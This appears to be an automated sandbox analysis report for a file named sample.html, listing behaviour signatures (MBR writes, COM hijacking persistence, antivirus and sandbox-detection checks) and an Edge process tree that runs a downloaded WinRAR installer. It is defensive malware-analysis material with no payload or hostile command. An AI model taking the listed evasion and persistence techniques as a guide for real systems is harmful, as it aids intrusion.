Analysis
- user interaction
yes - max time kernel
177s - max time network
180s - platform
windows10-ltsc_2021_x64 - resource
win10ltsc2021-20260130-en - resource tags
- submitted
04/05/2026, 15:13
General
- Target sample.html
- Size 269KB
- Sample260504-sl31vaev8v
- SHA256 a9f46988a322e01937c18af0a5c6a81d650f2f7b8464d0345039ebc79d5ddda8
Score
8/10
Malware Config
Signatures
- Downloads MZ/PE file 1 IoCs
- Checks computer location settings 2 TTPs 4 IoCs
Looks up country code configured in the registry, likely geofence.
- Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Executes dropped EXE 18 IoCs
- Loads dropped DLL 16 IoCs
- Modifies system executable filetype association 2 TTPs 8 IoCs
- Checks for any installed AV software in registry 1 TTPs 6 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Writes to the Master Boot Record (MBR) 1 TTPs 3 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
- Drops file in Program Files directory 60 IoCs
- Drops file in Windows directory 64 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 24 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Time Discovery 1 TTPs 2 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Inno Setup is an open-source installation builder for Windows applications. 9 IoCs
Inno Setup installer
- Checks processor information in registry 2 TTPs 4 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 6 IoCs
- Modifies data under HKEY_USERS 3 IoCs
- Modifies registry class 64 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 17 IoCs
- Suspicious use of FindShellTrayWindow 56 IoCs
- Suspicious use of SendNotifyMessage 32 IoCs
- Suspicious use of SetWindowsHookEx 6 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument C:\Users\Admin\AppData\Local\Temp\sample.html1⤵
- Drops file in Windows directory
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x260,0x264,0x268,0x25c,0x274,0x7fff20cfc188,0x7fff20cfc194,0x7fff20cfc1a02⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1960,i,16381093621260821076,15396687420823149903,524288 --field-trial-handle=2104,i,2496399975709589256,10014138609048654909,262144 --variations-seed-version --mojo-platform-channel-handle=2152 /prefetch:32⤵
- Downloads MZ/PE file
- System Time Discovery
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1860,i,16145305699856818634,5385073749775812183,262144 --field-trial-handle=2104,i,2496399975709589256,10014138609048654909,262144 --variations-seed-version --mojo-platform-channel-handle=2100 /prefetch:22⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1944,i,16508721901727744938,14219376425842866876,524288 --field-trial-handle=2104,i,2496399975709589256,10014138609048654909,262144 --variations-seed-version --mojo-platform-channel-handle=2720 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3416,i,16559503923862770732,8250441899247352258,2097152 --field-trial-handle=2104,i,2496399975709589256,10014138609048654909,262144 --variations-seed-version --mojo-platform-channel-handle=3476 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3424,i,2693377407476553713,4766579595520250859,2097152 --field-trial-handle=2104,i,2496399975709589256,10014138609048654909,262144 --variations-seed-version --mojo-platform-channel-handle=3504 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=5180,i,11888767474044343293,12172638298410897118,2097152 --field-trial-handle=2104,i,2496399975709589256,10014138609048654909,262144 --variations-seed-version --mojo-platform-channel-handle=5156 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3492,i,4150627683745945355,11108259379112334301,524288 --field-trial-handle=2104,i,2496399975709589256,10014138609048654909,262144 --variations-seed-version --mojo-platform-channel-handle=5432 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=5640,i,17659754368352715376,8071177357432922992,2097152 --field-trial-handle=2104,i,2496399975709589256,10014138609048654909,262144 --variations-seed-version --mojo-platform-channel-handle=5604 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --metrics-shmem-handle=5852,i,2204752468743656006,15363951875429687159,2097152 --field-trial-handle=2104,i,2496399975709589256,10014138609048654909,262144 --variations-seed-version --mojo-platform-channel-handle=5856 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=5980,i,8735293051224857942,5269329863357629730,2097152 --field-trial-handle=2104,i,2496399975709589256,10014138609048654909,262144 --variations-seed-version --mojo-platform-channel-handle=5620 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --metrics-shmem-handle=6016,i,2194462728271994601,6008157032627073695,2097152 --field-trial-handle=2104,i,2496399975709589256,10014138609048654909,262144 --variations-seed-version --mojo-platform-channel-handle=5984 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --metrics-shmem-handle=6256,i,2001218774033395011,3821440846149658421,2097152 --field-trial-handle=2104,i,2496399975709589256,10014138609048654909,262144 --variations-seed-version --mojo-platform-channel-handle=6240 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --metrics-shmem-handle=5652,i,15961788000086691429,4932751450262510094,2097152 --field-trial-handle=2104,i,2496399975709589256,10014138609048654909,262144 --variations-seed-version --mojo-platform-channel-handle=6368 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6492,i,3120916333237190727,8058066727189629079,524288 --field-trial-handle=2104,i,2496399975709589256,10014138609048654909,262144 --variations-seed-version --mojo-platform-channel-handle=6460 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6200,i,7462999231457115621,13849850314707414066,524288 --field-trial-handle=2104,i,2496399975709589256,10014138609048654909,262144 --variations-seed-version --mojo-platform-channel-handle=6088 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6996,i,18209638690739104937,7284481817862667251,524288 --field-trial-handle=2104,i,2496399975709589256,10014138609048654909,262144 --variations-seed-version --mojo-platform-channel-handle=7144 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6996,i,18209638690739104937,7284481817862667251,524288 --field-trial-handle=2104,i,2496399975709589256,10014138609048654909,262144 --variations-seed-version --mojo-platform-channel-handle=7144 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=8136,i,1200228506254059288,15582784087233478778,524288 --field-trial-handle=2104,i,2496399975709589256,10014138609048654909,262144 --variations-seed-version --mojo-platform-channel-handle=8116 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=8152,i,10531962049831618734,5599228372265314776,524288 --field-trial-handle=2104,i,2496399975709589256,10014138609048654909,262144 --variations-seed-version --mojo-platform-channel-handle=7940 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=8088,i,31362269588717178,13528403746268123911,524288 --field-trial-handle=2104,i,2496399975709589256,10014138609048654909,262144 --variations-seed-version --mojo-platform-channel-handle=8120 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6996,i,3712356355473154642,83259041575558623,524288 --field-trial-handle=2104,i,2496399975709589256,10014138609048654909,262144 --variations-seed-version --mojo-platform-channel-handle=7148 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --always-read-main-dll --metrics-shmem-handle=8116,i,15631522525911933617,6549011787712256272,2097152 --field-trial-handle=2104,i,2496399975709589256,10014138609048654909,262144 --variations-seed-version --mojo-platform-channel-handle=7000 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7492,i,7520060009665115641,701905685278216051,524288 --field-trial-handle=2104,i,2496399975709589256,10014138609048654909,262144 --variations-seed-version --mojo-platform-channel-handle=7952 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --always-read-main-dll --metrics-shmem-handle=5116,i,11583317591353044743,8564592501019301823,2097152 --field-trial-handle=2104,i,2496399975709589256,10014138609048654909,262144 --variations-seed-version --mojo-platform-channel-handle=7484 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6416,i,656324425213916353,3059098320311652564,524288 --field-trial-handle=2104,i,2496399975709589256,10014138609048654909,262144 --variations-seed-version --mojo-platform-channel-handle=6172 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --always-read-main-dll --metrics-shmem-handle=8020,i,4610892030520503331,15833123590096683764,2097152 --field-trial-handle=2104,i,2496399975709589256,10014138609048654909,262144 --variations-seed-version --mojo-platform-channel-handle=7972 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --always-read-main-dll --metrics-shmem-handle=7880,i,14958918468832651313,14620977447227940449,2097152 --field-trial-handle=2104,i,2496399975709589256,10014138609048654909,262144 --variations-seed-version --mojo-platform-channel-handle=6072 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --always-read-main-dll --metrics-shmem-handle=6520,i,3382760734519749527,17976202437466689387,2097152 --field-trial-handle=2104,i,2496399975709589256,10014138609048654909,262144 --variations-seed-version --mojo-platform-channel-handle=6540 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --always-read-main-dll --metrics-shmem-handle=7004,i,15049580457548769273,7725813256457017555,2097152 --field-trial-handle=2104,i,2496399975709589256,10014138609048654909,262144 --variations-seed-version --mojo-platform-channel-handle=5996 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6764,i,5093663757520617071,14355705896355521572,524288 --field-trial-handle=2104,i,2496399975709589256,10014138609048654909,262144 --variations-seed-version --mojo-platform-channel-handle=1224 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=33 --always-read-main-dll --metrics-shmem-handle=8540,i,484911484339507764,11168739625541457942,2097152 --field-trial-handle=2104,i,2496399975709589256,10014138609048654909,262144 --variations-seed-version --mojo-platform-channel-handle=8576 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5376,i,11363615425223079104,6886835536366141483,524288 --field-trial-handle=2104,i,2496399975709589256,10014138609048654909,262144 --variations-seed-version --mojo-platform-channel-handle=8692 /prefetch:82⤵
-
-
C:\Users\Admin\Downloads\winrar-x64-722.exe"C:\Users\Admin\Downloads\winrar-x64-722.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
-
C:\Program Files\WinRAR\uninstall.exe"C:\Program Files\WinRAR\uninstall.exe" /setup3⤵
- Executes dropped EXE
- Modifies system executable filetype association
- Drops file in Program Files directory
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5028,i,10074099287871127571,5824851595906600900,524288 --field-trial-handle=2104,i,2496399975709589256,10014138609048654909,262144 --variations-seed-version --mojo-platform-channel-handle=7312 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4812,i,1237732401942162213,10833723621022594485,524288 --field-trial-handle=2104,i,2496399975709589256,10014138609048654909,262144 --variations-seed-version --mojo-platform-channel-handle=2344 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.4355 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6616,i,12372999692318610959,6332167239227575679,262144 --field-trial-handle=2104,i,2496399975709589256,10014138609048654909,262144 --variations-seed-version --mojo-platform-channel-handle=6680 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7428,i,12768634516999529392,11508338281642774337,524288 --field-trial-handle=2104,i,2496399975709589256,10014138609048654909,262144 --variations-seed-version --mojo-platform-channel-handle=6104 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window2⤵
- Drops file in Windows directory
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x234,0x264,0x268,0x260,0x28c,0x7fff20cfc188,0x7fff20cfc194,0x7fff20cfc1a03⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1932,i,8904629924640758313,10569298902163200534,524288 --field-trial-handle=2288,i,16644207323471195904,3567171772267307063,262144 --variations-seed-version --mojo-platform-channel-handle=2316 /prefetch:33⤵
- System Time Discovery
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1712,i,4795847459951485011,7202824310249197959,262144 --field-trial-handle=2288,i,16644207323471195904,3567171772267307063,262144 --variations-seed-version --mojo-platform-channel-handle=2284 /prefetch:23⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2592,i,14507536784509153628,1020341020568271032,524288 --field-trial-handle=2288,i,16644207323471195904,3567171772267307063,262144 --variations-seed-version --mojo-platform-channel-handle=2564 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4384,i,14189633309871036832,16295998204818214421,524288 --field-trial-handle=2288,i,16644207323471195904,3567171772267307063,262144 --variations-seed-version --mojo-platform-channel-handle=4364 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4384,i,14189633309871036832,16295998204818214421,524288 --field-trial-handle=2288,i,16644207323471195904,3567171772267307063,262144 --variations-seed-version --mojo-platform-channel-handle=4364 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4384,i,10360588875196889244,13731146255437738884,524288 --field-trial-handle=2288,i,16644207323471195904,3567171772267307063,262144 --variations-seed-version --mojo-platform-channel-handle=4396 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4452,i,2033879404419654201,3919516935069134094,524288 --field-trial-handle=2288,i,16644207323471195904,3567171772267307063,262144 --variations-seed-version --mojo-platform-channel-handle=4644 /prefetch:83⤵
-
-
